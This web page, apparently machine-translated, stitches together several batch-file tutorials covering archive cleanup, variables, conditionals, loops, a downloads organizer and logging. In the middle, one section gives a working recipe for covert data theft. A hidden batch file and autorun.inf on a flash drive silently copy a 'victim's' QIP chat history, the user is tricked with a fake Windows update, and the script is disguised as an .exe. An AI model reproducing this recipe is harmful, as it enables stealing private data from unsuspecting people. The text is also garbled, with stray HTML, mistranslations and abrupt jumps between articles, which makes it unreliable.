Useful bat files. Writing bat files - examples of batch files

As experience has shown, batch files, i.e. batch files are very popular among system administrators who use them for their automation purposes. And today we continue to study these same bat files; we will not consider the basics, but will move on to more advanced things.

In the first article Writing bat files - examples of batch files, we looked at simple examples of using batch files, but as it turned out, writing batch files is very interesting to almost everyone and everyone wants to learn something more complex, with which you can further simplify the automation of some processes.

Example 1 – deleting old archives

When archiving something, many people are interested in the question “ How to delete old archives as unnecessary using a batch file? " For example, they are all in one folder and you need to delete all archives that are older than 14 days. After I read the manuals and surfed the Internet, I can suggest the following method.

You can make it so that only a certain number of archives will be stored in the folder with archives, respectively the latest ones ( those. just in our case over the last 2 weeks).

This is done using two commands. The first is DIR, i.e. just read all the files in one folder and write their names in text file.

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

  • dir D:\arhiv\*.rar– this means that we read everything rar archives in folder D:\arhiv\;
  • /a:-D– this means that all files with the specified attributes will be displayed, the -D key means that we only need files, not directories, the prefix “-” just means negation, i.e. not directories, if we just wrote D, then it would read directories too;
  • /b– this is the output of file names only;
  • /o:-D– this is sorting, the –D key means that sorting will be performed by date, but first the older ones, to fix this we already know that the prefix “-” will help us;
  • > — means that the output will be redirected to the file list_of_files.txt, you can name it differently.

So we counted all our archives and wrote them into a file, then we need to go through all these files and leave only 14 pieces, i.e. over the last 2 weeks. We do this using the command FOR, it is a kind of loop that performs a specific action for each file in a folder or each line in a file, as in our case.

  • for– the team itself for the bulkhead;
  • /F "skip=13"– this is a key with a parameter that means that the first 13 files do not need to be processed, i.e. we skip them. Why 13 and not 14 yes because 14 archive ( those. today's, which should be created when executing this batch file) has not yet been created, therefore 13;
  • %%i– a variable that stores the name of the current file;
  • In (list_of_files.txt)– means that iterate over all lines in this particular file;
  • do (del /Q "%%i")- says what needs to be done with each one, in our case we simply delete these files using the del /Q key /Q, so that we are not asked for confirmation before deleting. For tests, I advise replacing del /Q with echo, i.e. just display those files.

In total, we got this batch file:

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

for /F “skip=13” %%i in (list_of_files.txt) do (del /Q “%%i”)

Accordingly, after these lines you can write the archiving code itself, and in the end we will get that only 14 archives will be stored in our folder, of course, the most recent ones.

Example 2 - Using Variables

You can even use variables in batch files, just like in a real programming language. Let's consider simplest example using variables, for example, we want to multiply by 2 the number that we will enter in the field when running the batch file.

@echo off

SET /a c=%a%*%b%

echo %c%

As you understand, variables are set using the SET command. In order to use the variable in the future, we insert a percent sign (%) on both sides of the variable so that the command line understands that this is a variable.

  • @echo off– so that our commands are not displayed on the screen;
  • SET a=2– we simply set the variable “a” to a value;
  • SET /p b=[enter second number to multiply]– we set the variable “b” to the value that we enter into the field, so that the batch worker understands that we want to enter the value of the variable ourselves, the /p key is used;
  • SET /a c=%a%*%b%— we set the variable “c” to the result of our expression ( in our example this is multiplication);
  • echo %c%— display the value of the variable “c”;
  • pause- we simply pause the execution of our bat file in order to simply see all the results.

By the way, in order for Russian letters to be displayed normally on the command line, save the bat file in DOS-866 encoding.

We've sorted out the variables, now let's apply this to our first example, let's say we want to leave not 14 archives, but the number that we want, for this, when you launch the batch file, we will enter the number of archives that need to be saved. It will look something like this:

@echo off

dir D:\test\*.rar /a:-D/b/o:-D > list_of_files.txt

for /F “skip=%chislo%” %%i in (list_of_files.txt) do (del /Q “%%i”)

Well, something like this, of course, in practice this may not be needed, but at least we learned how to use variables.

About variables, I also want to say that there are such system variables as:

%DATE%— shows the current date.

%TIME%— shows the current time.

For example, run the following code:

echo %DATE%

echo %time:~0,-3%

I wrote the %TIME% variable in exactly this way, in order for the result to be displayed in a more readable form, try writing %TIME% and % TIME:~0.-3% for you, in the second case the last 3 characters will be removed.

In fact, there are more system variables; these may just be required more often than others.

Example 3 – IF Conditional Execution Statement

As in other full-fledged languages, you can use the IF conditional execution operator in batch files. Let's give a small example, the batch file simply checks whether the file exists or not:

@echo off

IF EXIST test.txt (

echo File exists

echo There is no such file

IF EXIST test.txt– this is exactly where the file is checked.

After, in parentheses, comes what we want to do if the file exists, and if the file does not exist, then after ELSE, comes what needs to be done if the file does not exist.

Now let’s slightly modify our example with multiplying the number we entered by 2, simply, if we suddenly enter zero, we will display the corresponding message and ask you to enter the number again.

@echo off

SET /p b=[enter second number to multiply]

SET /a c=%a%*%b%

if %c%==0 (echo you entered the number 0, enter another) else echo %c%

if %c%==0 (goto:metka)

Everything here is already familiar, the only thing is that when comparing the variable “c” the comparison operator == ( two equals), because simply equal (=) is an assignment operator. If you noticed, I used the goto operator here, i.e. move to the desired label. In other words, we put a label and, depending on the result of checking the condition, the transition to the desired label will be carried out.

Now I would like to note what many people use in their work, for example, to create an archive, winrar program and, of course, they use it in their batch files, but many ask questions about keys that relate to winrar. Don't confuse the winrar keys, they are used only for this program, and not for everything that is in the batch files, i.e. command line, for example, if you use 7zip, then the keys will be different. As for winrar keys, the complete and best reference book, in my opinion, is, of course, in winrare itself. To view a description of winrar keys, open the winrar program, go to the Help menu, then click " Content", and then select the line " Command line mode", where there will be a description of all the keys, even simple examples are given. Accordingly, if you have the English version of winrar, then the meaning is the same, only everything will be in English.

This concludes our second part of studying batch files. Good luck!

Windows bat files are a convenient way to perform various tasks on a PC, which is actively used by computer experts. They allow you to automate daily tasks, reduce their execution time and turn a complex process into something feasible for the average user. This article presents the basic capabilities of batch files and recommendations for writing them yourself.

Automation made easy

How to create a bat file? To do this you need to do the following:

  1. In any text editor, for example, Notepad or WordPad, create Text Document.
  2. Write your commands in it, starting with @echo , and then (each time on a new line) title [name of the batch script], echo [message that will be displayed on the screen] and pause.
  3. Save the text in an electronic document with the .bat extension (for example, test.bat).
  4. To run, double-click on the newly created batch file.
  5. To edit it, you need to click on it right click mouse and select “Change” from the context menu.

The raw file will look something like this:

title This is your first bat file script!

echo Welcome to the batch processing script!

We will discuss bat file commands and their use in more detail below.

Step 1: Create a software script

Let's assume that a user often has problems with the Network. He constantly uses the command line, typing ipconfig and pinging Google to troubleshoot network problems. After a while, the user realizes that it would be much more effective if he wrote a simple bat file, wrote it to his USB drive and ran it on the computers he diagnoses.

Creating a new text document

A batch file makes it easy to perform repetitive tasks on your computer using a command line Windows strings. Below is an example of a script responsible for displaying some text on the screen. Before creating a bat file, you should right-click on an empty space in the directory and select “Create”, and then “Text Document”.

Adding code

Double clicking on this new text document will open the default one text editor. You can copy and paste the example code above into a text entry.

Preservation

The above script displays the text “Welcome to the Batch Processing Script!” on the screen. Electronic document you need to record it by selecting the text editor menu item “File”, “Save As”, and then specify the desired name of the bat file. It should be completed with a .bat extension (for example, welcome.bat) and click OK. To display the Cyrillic alphabet correctly, in some cases you should make sure that the encoding is selected correctly. For example, when using a Russified console Windows systems The NT document must be saved in the CP866. Now you should double click on the bat file shortcut to activate it.

But the following message will appear on the screen:

"Welcome to the batch script! Press any key to continue..."

If the bat file does not start, users recommend going to the registry and deleting the key:

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.BAT\UserChoice."

Don't think that's all that batch scripts can do. Script parameters are modified versions of command line commands, so the user is limited only by their capabilities. And they are quite extensive.

Step 2: Get to Know Some Commands

If a PC user is familiar with how to execute DOS console commands, then he will be a master at creating software scripts because they are the same language. The lines in the bat files will tell the cmd.exe interpreter everything that is required of it. This saves time and effort. In addition, it is possible to specify some logic (for example, simple loops, conditionals, etc., which are conceptually similar to procedural programming).

Built-in Commands

1. @echo is a bat file command that will allow you to see the script running on the command line. It is used to view the progress of production code. If the batch file has any problems, then this command will allow you to quickly localize problems. Adding off makes it possible to quickly terminate code execution, avoiding unnecessary information being displayed on the screen.

2. Title provides the same functionality as a tag in HTML, i.e. creates a header for the batch script in the command line window.</p><p>3. Call calls one bat file from another or a subroutine within one script. For example, the power function calculates the power %2 of %1:</p><p>if %counter% gtr 1 (</p><p>set /a counter-=1</p><p>endlocal & set result=%prod%</p><p><img src='https://i1.wp.com/syl.ru/misc/i/ai/324915/1862019.jpg' width="100%" loading=lazy loading=lazy></p><p>4. Cls clears the command line. Used to ensure that previous output of extraneous code does not interfere with viewing the progress of the current script.</p><p>5. Color sets the font and background color. For example, the command color f9 specifies white letters on a blue background. A command without a parameter restores default settings.</p><p>6. Echo is used to display information, as well as to enable (echo on) or disable (echo off) such output. For example, the echo command. prints a new line without a dot, and echo . - point. Without parameters, the command displays information about its current status - echo on or echo off.</p><p>7. Rem provides the same functionality as a tag<! в HTML. Такая строка не является частью выполняемого кода. Вместо этого она служит для пояснения и предоставления информации о нем.</p><p>8. Pause allows you to interrupt the execution of commands in the bat file. This makes it possible to read executed lines before continuing the program. In this case, the message “To continue, press any key...” is displayed on the screen.</p><p>9. Set allows you to view or set environment variables. With the /p switch, the command prompts the user for input and saves it. With the /a parameter, it allows you to perform simple <a href="https://fighters.ru/en/arifmeticheskie-operacii-v-vba-slozhenie-vychitanie-umnozhenie-delenie-i/">arithmetic operations</a>, also assigning their result to a variable. When performing string operations, there should be no spaces either before or after the equals sign. For example, the set command displays a list of environment variables, set HOME displays the values ​​of arguments starting with “HOME,” and set /p input=enter an integer: prompts for an integer and assigns it to the appropriate variable.</p><p>10. Start "" [website] will launch the specified website in your default web browser.</p><p>11. If is used to check a certain condition. If it is true, then the next command is executed. There are 3 types of conditions:</p><ul><li>ERRORLEVEL number - checks the completion code of the last executed instruction to see if it matches or exceeds the specified number. In this case, 0 indicates successful completion of the task, and any other number, usually positive, indicates an error. For example, you can use nested commands to pinpoint the exit code: if errorlevel 3 if not errorlevel 4 echo error #3 occurred.</li><li>Line1 == line2 - checking whether two strings match. For example, in the absence <a href="https://fighters.ru/en/1s-vneshnyaya-pechatnaya-forma-parametry-obrabotki-vyvod-pechatnyh-form/">external parameter</a> the command if "%1"= ="" goto ERROR will transfer control to the ERROR label.</li><li>EXIST name - checks the existence of a file with the specified name. For example, if not exist A:\program.exe COPY C:\PROJECTS\program.exe A: copies program.exe to drive A if it is not there.</li> </ul><p>12. Else must be on the same line as the If command. Indicates the need to perform <a href="https://fighters.ru/en/kak-ustanovit-novuyu-vindovs-7-kak-pereustanovit-windows/">following instructions</a>, if the expression is false.</p><p><img src='https://i1.wp.com/syl.ru/misc/i/ai/324915/1862021.jpg' width="100%" loading=lazy loading=lazy></p><p>13. For is used to repeat certain actions on each member of a list. Has the format for %%argument in (list) do command. The argument can be any letter from A to Z. The list is a sequence of strings separated by spaces or commas. Wildcards can also be used. For example:</p><ul><li>for %%d in (A, C, D) do DIR %%d - sequentially displays the directories of drives A, C and D;</li><li>for %%f in (*.TXT *.BAT *.DOC) do TYPE %%f - prints the contents of all .txt-, .bat- and .doc-files in the current directory;</li><li>for %%P in (%PATH%) do if exist %%P\*.BAT COPY %%P\*.BAT C:\BAT - copies all batch files that exist in all directories of the search route to the C:\ folder WAT.</li> </ul><p>14. A colon (:) before a word forms a link from it, which allows you to skip a part <a href="https://fighters.ru/en/kody-simvolov-html-html-programmnyi-kod-tegi-prednaznachennye-dlya/">program code</a> or go back. Used with the Call and Goto commands, indicating from which point the execution of the bat file should continue, for example, when a certain condition is met:</p><p>15. Variables:</p><ul><li>%%a represents each file in the folder;</li><li>%CD% - current directory;</li><li>%DATE% - system date, the format of which depends on the localization;</li><li>%TIME% - system time in the form HH:MM:SS.mm.;</li><li>%RANDOM% - generated pseudo-random number in the range from 0 to 32767;</li><li>%ERRORLEVEL% - exit code returned by the last executed command or bat script.</li> </ul><p>You can extract part of a string contained in a variable, given its position and length, like this:</p><p>%[variable]:~[start],[length]%. For example, you can display a date in the format DD/MM/YYYY as YYYY-MM-DD like this: echo %DATE:~6.4%-%DATE:~3.2%-%DATE:~0.2%.</p><p>16. (". \") - root folder. When working with the console, before changing the file name, deleting it, etc., you must direct the command action to a specific directory. When using a batch file, just run it in any desired directory.</p><p>17. %digit - accepts the values ​​of parameters passed by the user to the bat file. Can be separated by spaces, commas or colons. A "digit" is a number between 0 and 9. For example, %0 takes the value of the current command. %1 matches the first parameter, etc.</p><p>18. Shift - command used to shift input parameters by one position. Used when external arguments are passed to the batch file. For example, the following bat file copies the files specified as parameters on the command line to drive D:</p><p>if not (%1)==() goto next</p><p>In addition, you can perform the following manipulations with the arguments:</p><ul><li>%~ - remove surrounding quotes;</li><li>%~f - expand the parameter to the full path name along with the drive name;</li><li>%~d - show disk name;</li><li>%~p - display only the path;</li><li>%~n - select only the file name from the parameter;</li><li>%~x - leave only the extension;</li><li>%~s - convert the path to a representation with short names;</li><li>%~a - extract file attributes;</li><li>%~t - display the date and time of creation;</li><li>%~z - display file size;</li><li>%~$PATH: - Searches the directories listed in the PATH environment variable and expands the parameter to the first matching fully qualified name found, or returns an empty string if unsuccessful.</li> </ul><p><img src='https://i2.wp.com/syl.ru/misc/i/ai/324915/1862020.jpg' width="100%" loading=lazy loading=lazy></p><h2>Wildcards</h2><p>Many commands accept filename patterns - characters that allow you to match a group of filenames. Wildcards include:</p><ul><li>* (asterisk) - denotes any sequence of characters;</li><li>? (question mark) - replaces one (or 0) character other than a period (.).</li> </ul><p>For example, the dir *.txt command displays a list of txt files, and dir ???.txt displays a list of text documents whose name length does not exceed 3 letters.</p><h2>Functions</h2><p>Like subroutines, they are emulated using the call, setlocal, endlocal, and label commands. The following example demonstrates the possibility of defining a variable in which the result is stored on the call line:</p><p>call:say result=world</p><p><img src='https://i0.wp.com/syl.ru/misc/i/ai/324915/1862022.jpg' width="100%" loading=lazy loading=lazy></p><h2>Computations</h2><p>In bat files, you can perform simple arithmetic operations on 32-bit integers and bits using the set /a command. The maximum supported number is 2^31-1 = 2147483647, and the minimum is -(2^31) = -2147483648. The syntax is reminiscent of the C programming language. Arithmetic operators include: *, /, %, +, -. In the bat file, % (the remainder of an integer division) should be entered as “%%”.</p><p>Operators with <a href="https://fighters.ru/en/shestnadcaterichnyi-kod-referat-programma-perevoda-desyatichnogo-chisla-v/">binary numbers</a> interpret the number as a 32-bit sequence. These include: ~ (bitwise NOT or complement), & (AND), | (OR), ^ (exclusive OR),<< (сдвиг влево), >> (shift right). The logical negation operator is! (Exclamation point). It changes 0 to 1 and a non-zero value to 0. The combination operator is (comma), which allows more operations to be done in a single set command. The combined assignment operators += and -= in the expressions a+=b and a-=and correspond to the expressions a=a+b and a=a-b. *=, %=, /=, &=, |=, ^=, >>=, work the same way.<<=. Приоритет операторов следующий:</p><p>(); %+-*/; >>, <<; &; ^; |; =, %=, *=, /=, +=, -=, &=, ^=, |=, <<=, >>=; ,</p><p>Literals can be entered as decimal, hexadecimal (with leading 0x), and octal numbers (with leading zero). For example, set /a n1=0xffff assigns n1 a hexadecimal value.</p><h2>External commands</h2><ul><li>Exit is used to exit the DOS console or (with the /b option) only the current bat file or routine.</li><li>Ipconfig is a classic console command that displays network information. It includes MAC and IP addresses, and subnet masks.</li><li>Ping pings an IP address, sending data packets to it to estimate its distance and latency (response). Also used to set a pause. For example, the command ping 127.0.01 -n 6 pauses code execution for 5 seconds.</li> </ul><p>The library of commands in bat files is huge. Luckily, there are many pages on the web that list them all, along with batch script variables.</p><p><img src='https://i0.wp.com/syl.ru/misc/i/ai/324915/1862017.jpg' width="100%" loading=lazy loading=lazy></p><h2>Step 3: Write and run the bat file</h2><p>The following script will make your daily online activity much easier. What if you want to instantly open all your favorite news sites? Since scripts use console commands, you can create a script that opens each news feed in a single browser window.</p><p>Next, you should repeat the process of creating a bat file, starting with an empty text document. To do this, you need to right-click on an empty space in any folder and select “New”, and then “Text Document”. After opening the file, you need to enter the following script, which launches the main Russian-language media available on the Internet:</p><p>start "" http://fb.ru</p><p>start "" http://www.novayagazeta.ru</p><p>start "" http://echo.msk.ru</p><p>start "" http://www.kommersant.ru</p><p>start "" http://www.ng.ru</p><p>start "" http://meduza.io</p><p>start "" https://news.google.com/news/?ned=ru_ru&hl=ru</p><p>This script contains the start “” commands, which open several tabs. You can replace the suggested links with any others of your choice. After entering the script, go to the “File” menu of the editor, and then to “Save as...” and save the document with the .bat extension, changing the “File type” parameter to “All files” (*. *).</p><p>After saving, to run the script, just double-click on it. Web pages will instantly begin loading. If you wish, you can place this file on your desktop. This will allow you to instantly access all your favorite sites.</p><h2>Organizer</h2><p>If you download several files a day, then soon hundreds of them will accumulate in the “Downloads” folder. You can create a script that will organize them by type. Just place the .bat file with the program in the folder with unorganized data and double-click to run:</p><p>rem Every file in the folder</p><p>for %%a in (".\*") do (</p><p>rem check for the presence of an extension and non-belonging to this script</p><p>if "%%~xa" NEQ "" if "%%~dpxa" NEQ "%~dpx0" (</p><p>rem check for the presence of a folder for each extension, and if it is not there, then create it</p><p>if not exist "%%~xa" mkdir "%%~xa"</p><p>rem move file to folder</p><p>move "%%a" "%%~dpa%%~xa\"</p><p>As a result, files in the “Downloads” directory are sorted into folders whose names correspond to their extension. It is so simple. This batch script works with any type of data, be it a document, video or audio. Even if the PC does not support them, the script will still create a folder with the appropriate label. If there is already a JPG or PNG directory, the program will simply move files with this extension there.</p><p>This is a simple demonstration of what batch scripts can do. Whenever a simple task needs to be done over and over again, be it organizing files, opening multiple web pages, bulk renaming, or making copies of important documents, a batch script can help you get the tedious job done in a couple of clicks.</p> <p><b>Body shirt</b> is a regular text file containing sets of interpreter commands and having the extension <b>.bat</b> or <b>.cmd</b>! (<b>.cmd</b> work only in OS of the NT family). You can edit such files using Notepad or any other text editor.</p> <p><b>We are writing a body file</b> </p> <p>We will create a body file for the second situation (it is not much more complicated). To write a body file, let's take a standard notepad. Let's write the following lines in notepad:</p> <p><b>Echo off</b> </span><span>- </span> hides the visual copying process.</p> <p><b>C:\Program Files\QIP\Users</b>- the folder in which the story is located.</p> <p><b>f:\rar.exe a -r users > nul</b>-launch the archiver to speed up copying.</p> <p><b>copy users.rar g:\adc > nu</b> l - the address where we copy.</p> <p><b>del users.rar > nul</b>- deletes the created archive on the hard drive.</p> <p>The letter of a flash drive is not always known. In this case, we write down several options (we’ll definitely guess one):</p> <p>chdit C:\Program Files\QIP\Users</p> <p>f:\rar.exe a -r users > nul</p> <p>copy users.rar e:\abc > nul</p> <p>g:\rar.exe a -r users > nul</p> <p>copy users.rar g:\abc > nul</p> <p>h:\rar.exe a -r users > nul</p> <p>copy users.rar h:\abc > nul</p> <p>del users-rar > nul</p> <p>Save our text document. Let's call it xxx.txt. Now we change the extension from .txt to .bat. This can be done in Total Commander.</p> <p><b>Creating autorun</b> </p> <p>Now we need to make sure that the batch file is automatically launched from the flash drive when connected to the computer. To do this, create a new text document and write in it:</p> <p>ShellExeCute="xxx.bat"</p> <p>Save the file and rename it to <b>autorun.inf</b>.</p> <p><b>Making an archive</b> </p> <p>From the folder with WinRAR (by default C:\Program Files\WinRAR we take the file <b>rar.exe</b>. Create a folder in the root of the flash drive with the name <b>abc</b>. Also, we throw the remaining three files into the root of the flash drive ( <b>xxx.bat, autorun.inf, rar.exe</b>).</p> <p>We hide all files from prying eyes (right-click to call <b>File menu > Properties > Hidden</b>. This is all. We give the flash drive to the “victim” and wait for the result.</p> <p><b>Social engineering</b> </p> <p>It is not necessary to auto-start. The “victim” can launch the batch file herself. To do this, you need to use social engineering. For example, we inform the user that Microsoft has released a new update for Windows. This update improves the performance and security of the operating system. You only need to install the update from a flash drive. You can come up with a reason yourself why you should launch our batch file. It all depends on your imagination and ingenuity.</p> <p><b>Converting .bat to .exe</b> </p> <p>For greater “security” neperonim.bat in.exe (in case the “victim” is familiar with writing batch files). A small program will help us with this. <b>ExeScript v3.0</b>.</p> <p><img src='https://i2.wp.com/helpwin.ru/uploads/posts/2010-12/1293554700_47de778e40cc.jpg' height="450" width="393" loading=lazy loading=lazy></p> <p>You can download it here: http://uploadbox.com/fMes/c8d5a60af9/ (size 3.51. MB). In the program window, click the icon with <a href="https://fighters.ru/en/vosstanovlenie-standartnyh-nastroek-noutbuka-asus-windows-s-chistogo-lista-kak/">blank slate</a> and choose <b>Batch file (bat)</b> or <b>File > New > Batch file (bat)</b>. In the window that appears, write our “text”.</p> <p>Now let’s indicate a suitable icon for our executable. In the window</span><span><b>Properties</b> </span><span>click on the field</span><span><b>Custom Icon</b> </span><span>and select a pre-prepared icon. Next, click</span> <b>F7</b> or</span><b><span>Project > Build</span> </b><span>. </span><span>That's it, the guy is ready.</p> <p>Batch or batch files are ordinary text files containing sets of interpreter commands and having the bat or cmd extension (cmd work only in NT-family operating systems). You can edit such files using notepad or any other text editor.</p> <p>Open notepad and type the following two lines:</p> <p>@echo This batch file <br>@pause</p> <p>This batch file <br>Press any key to continue...</p> <p>After pressing any key, the window will close, because bat file is completed. <br>Please note that the dog symbol before each command in the bat file indicates that the command itself does not need to be displayed on the screen, but only the result of its operation should be displayed. To experiment, remove the dog character from the beginning of each line, save and run the resulting bat file.</p> <p><b>Commands used in <a href="https://fighters.ru/en/rezervnaya-kopiya-the-bat-imap-rezervnoe-kopirovanie-ispolzovanie/">bat files</a> </b></p> <p>The list of commands that can be used in bat files can be viewed by entering the command in the command line (Start - Run - cmd for Windows NT family or Start - Run - command for the 9x line)</p> <p>The result of help is a list of available commands with brief explanations for them. To get more <a href="https://fighters.ru/en/proverit-telefon-po-imeyu-kak-uznat-podrobnuyu-informaciyu-ob/">detailed information</a> For the command you are interested in, enter help command_name in the command line. For example, to get detailed help on the AT command switches, run the following command:</p> <p>As a result, a list of keys for running the AT command from the bat file will be displayed on the screen. <br>If the bat file is executed under <a href="https://fighters.ru/en/kak-otkryt-dispetcher-ustroistv-kak-otkryt-dispetcher-ustroistv-na/">Windows control</a>(not in pure DOS), then you can run any applications or open files from it. For example, you need to automatically open the log file of the bat file when it completes its work. To do this, just include the following command in the bat file as the last line:</p> <p>start filename.txt</p> <p>The result of executing this command will be the opening of the file file_name.txt, and the bat file itself will complete its work. This method is good if the log file is small, otherwise Notepad will refuse to open it, suggesting you use WordPad. But this problem can also be solved, as will be shown in further examples.</p> <p><b>How to automate the launch of bat files</b></p> <p>Very often it is necessary to automate the launch of bat files to execute them <a href="https://fighters.ru/en/autoit-zapusk-programmy-s-parametrami-enikeishchik-na-privyazi-obzor/">routine operations</a>. To run bat files on a schedule, the Scheduler included in the standard Windows package is most suitable. With this help, you can very flexibly configure the launch of a batch file on certain days or hours, with a certain interval. You can create multiple schedules, etc.</p> <p>To launch batch files locally, you can use solutions from third parties; fortunately, there are a great many paid and free alternatives to the standard Scheduler.</p> <p>Batch files can also be used as login scripts in domains. When used in this way, they will be executed every time the user logs into the network, regardless of his desire. With their help, you can automate the collection of information about machines or software installed on users’ computers, force changes to Windows settings, and install them unnoticed by the user. <a href="https://fighters.ru/en/instrukciyu-na-proektirovanie-kotelnyh-de-dietrich-dietrich-s---programmnoe/">software</a> and automate the solution of other tasks, the manual execution of which would take a lot of time.</p> <p><b>How to create a file with an arbitrary name from a bat file</b></p> <p>A redirection symbol is used to create a file while a batch file is running. It looks like this: <br> ><br>Those. to create a file you need to redirect the stream from the screen to the file. This can be done using the following command:</p> <p>@echo Start file>C:\1.txt</p> <p>After executing this command, a text file with the line Start file will be created in the root of drive C. <br>When creating a file, you can use system variables or parts of them in its name. For example, you can create a report file about the operation of a bat file with a name equal to the date the bat file was launched. To do this, you can use the following lines in the bat file.</p> <p>set datetemp=%date:~-10% <br>@echo .>%SYSTEMDRIVE%\%DATETEMP%.txt</p> <p>These two lines work like this. First, we create a datetemp variable in memory, to which we assign 10 characters from right to left from the DATE system variable. Thus, now the temporary variable datetemp contains only the current date. With the next line we redirect the output of the dot symbol to a file whose name is taken from the datetemp variable, and <a href="https://fighters.ru/en/nuzhno-sozdat-dokument-na-vinde-10-kak-sozdat-fail-s-rasshireniem-txt-v/">txt extension</a> indicate explicitly. The file will be created at <a href="https://fighters.ru/en/pochemu-kompyuter-ne-ustanavlivaet-obnovleniya-oshibka-nam-ne-udalos/">system disk</a> the computer where the bat file is running.</p> <p>When an administrator collects information about computers on the network, it will be more convenient to add the computer name to the file name. This can be easily done using the following command:</p> <p>@echo .>C:\FolderName\%COMPUTERNAME%.txt</p> <p>This command, while executing a batch file, will create a text file on drive C with the name of the computer on which the batch file is running. <br>To create a file with a specific name, you can use any system variables, or create your own based on system variables and/or other data.</p> <p><b>How to create a folder from a bat file</b></p> <p>To create a folder, use the MKDIR command or its shortened equivalent MD. To create a folder from a bat file you need to use the following command:</p> <p>After executing this command, a FolderName folder will be created in the folder from which the bat file was launched. To create a file in a location other than where you started the bat file, for example in the root of drive D, use an explicit indication of the location of the new folder. The command will look like this:</p> <p>MD D:\FolderName</p> <p>When creating folders, you can use system variables. For example, you can create a folder in the root of drive D with the name of the current user. To do this, you will need the %USERNAME% variable, and the command will look like this:</p> <p>MD D:\%USERNAME%</p> <p>You can further complicate the command and create a folder with the name of the current user on the system drive of his computer. The command for this would look like this:</p> <p>MD %SYSTEMDRIVE%\%USERNAME%</p> <p>When creating folders or files, you can use any system variables or parts thereof. The following example demonstrates the creation of a folder on the system drive of the user's computer with a name equal to the current date.</p> <p>set datetemp=%date:~-10% <br>MD %SYSTEMDRIVE%\%datetemp%</p> <p>This design works as follows. <br>The first command creates a datetemp variable in memory, which will be destroyed when the bat file finishes running. Until the bat file has finished its work, it is possible to operate with the value of this variable. The datetemp variable is assigned 10 characters from right to left of the DATE system variable, i.e. from <a href="https://fighters.ru/en/kak-v-excel-postavit-tekushchuyu-datu-avtomaticheskoe-prostavlenie-daty-v-excel/">current date</a>. The DATE variable has the format Day DD.MM.YYYY. The first characters on the left are the name of the day of the week, so we discard them and assign only the current date to the temporary variable datetemp. <br>This does not limit the list of possibilities when creating folders. You can manipulate variables the way you want, creating folders with unique, easy-to-read names. You can get a list of all variables using the SET command.</p> <p><b>How to redirect the result of command execution to a file</b></p> <p>Often, when executing a complex bat file in <a href="https://fighters.ru/en/izdanie-vtoroe-ispravlennoe-i-dopolnennoe-izdanie-vtoroe/">automatic mode</a> It can be difficult to verify the results of its work for many reasons. Therefore, it is easier to write the results of batch file commands to a text file (log file). and then analyze the correct operation of the bat file using this log. <br>Redirecting the result of bat file commands to a log file is quite simple. The following will show how this can be done. <br>Create a bat file with the following content (copy these lines into Notepad and save the file with the bat extension):</p> <p>@echo off <br>echo Start %time% <br>echo Create test.txt <br>echo test>C:\test.txt <br>echo Copy Test.txt to Old_test.txt <br>copy C:\test.txt C:\Old_test.txt <br>echo Stop %time%</p> <p>The first line disables the output of the commands themselves. Thus, only the results of their execution will be written to the log file. <br>The second line writes to the log file the start time of the batch file. <br>The third line writes to the log file an explanation that the following command will create a test.txt file <br>The command from the fourth line creates a file test.txt from the root of drive C. The file is created for example. This command writes the word test to the file C:\test.txt <br>The fifth line prints to the log file an explanation that the following command copies a file from one location to another. <br>The command in the sixth line copies the created file C:\test.txt to the file C:\Old_test.txt, i.e. a copy of the file is created under a new name. <br>The last, seventh line contains a command to display the completion time of the batch file. Together with the entry into the log file of the start time of the batch file, these two time values ​​make it possible to estimate the operating time of the batch file.</p> <p>Save this batch file with a name like 1.bat <br>Let's assume that we would like to store a report on the operation of a batch file in a separate folder and write a report every day with a new file name, so that we can access the logs for previous days on any day. Moreover, I would like to have the name of the log file in the form of the date of operation of the batch file. To implement all this, let’s create a folder on drive C (for example) named LOG, i.e. the full path to it will look like C:\LOG. We will run the created batch file 1.bat with the following command:</p> <p>1.bat>C:\LOG\%date~-10%.txt</p> <p>If the batch file will be launched from the Scheduler, then you need to specify the full path to the bat file. Remember that if there are spaces in the path, you must use either quotes or 8.3 format. That is, if the path to the bat file is C:\Program Files\1.bat, for example, then in the Scheduler command line to run the bat file you need to specify one of the following lines:</p> <p>"C:\Program Files\1.bat">C:\LOG\%date~-10%.txt <br>C:\Progra~1\1.bat>C:\LOG\%date~-10%.txt</p> <p>After running the 1.bat file, a file will be created in the C:\LOG folder with a name equal to the date the bat file was launched, for example, 01/13/2004.txt This will be a report on the operation of the 1.bat batch file <br>Running the bat file, an example of which is shown in the first listing at the top of the page, using the above command, will lead to the creation of a log file with the following content:</p> <p>Start 19:03:27.20 <br>Create test.txt <br>Copy Test.txt to Old_test.txt <br>Files copied: 1. <br>Stop 19:03:27.21</p> <p>Thus, to redirect the results of a bat file to a log file, you need to use the redirection symbol > The syntax is as follows:</p> <p>Path\FileName.bat>Path\LogFileName.txt</p> <p>The log file extension can be anything. If desired, a report on the execution of a batch job can even be formatted in the form <a href="https://fighters.ru/en/kak-sdelat-chtoby-perevodilis-stranicy-na-russkii-kak/">html pages</a>(the corresponding tags can be output to a log file in the same way as comments were output in example 1.bat) and copy it to the corporate server.</p> <p><b>How to automatically respond to a confirmation request</b></p> <p>Some commands require confirmation of a potentially dangerous action when executed. For example, commands such as format or del will first ask for confirmation before further execution. If one of these commands is executed in a batch file, then the confirmation prompt will stop the batch file from executing and it will wait for the user to select one of the given options. Moreover, if the result of executing a batch file is redirected to a log file, then the user will not see a confirmation request and the batch file will appear frozen.</p> <p>To correct such troubles, you can redirect the desired response to the command. Those. perform the reverse action to redirect the output of the command to a file. <br>Let's look at an example of what a request to confirm a potentially dangerous action looks like. Let's create, for example, a Folder folder on drive C. Let's create or copy any two files into it. Next, open the command line and run the following command:</p> <p>This command should remove all files from the specified folder. But first you will be prompted to confirm the following content:</p> <p>C:\Folder\*, Continue ?</p> <p>The command will stop executing until either the Y key or the N key is pressed. When executing a batch file in automatic mode, its execution will stop. <br>To avoid this we use redirection. Redirection is carried out using the symbol <br>The vertical line indicates that instead of displaying the symbol on the screen, it should be “given” to the command following the symbol. Let's check the redirection. Run the following command at the command line:</p> <p>echo Y|del C:\Folder</p> <p>The screen will display a request to confirm the deletion of all files in the Folder folder, but with a positive answer (Y). All files in the Folder folder will be deleted. <br>Be careful with this command.</p> <p><b>How to disable commands being displayed when executing a batch file</b></p> <p>When executing a batch file, in addition to the results of the command, the commands themselves are also displayed. You can use the @ symbol to suppress command 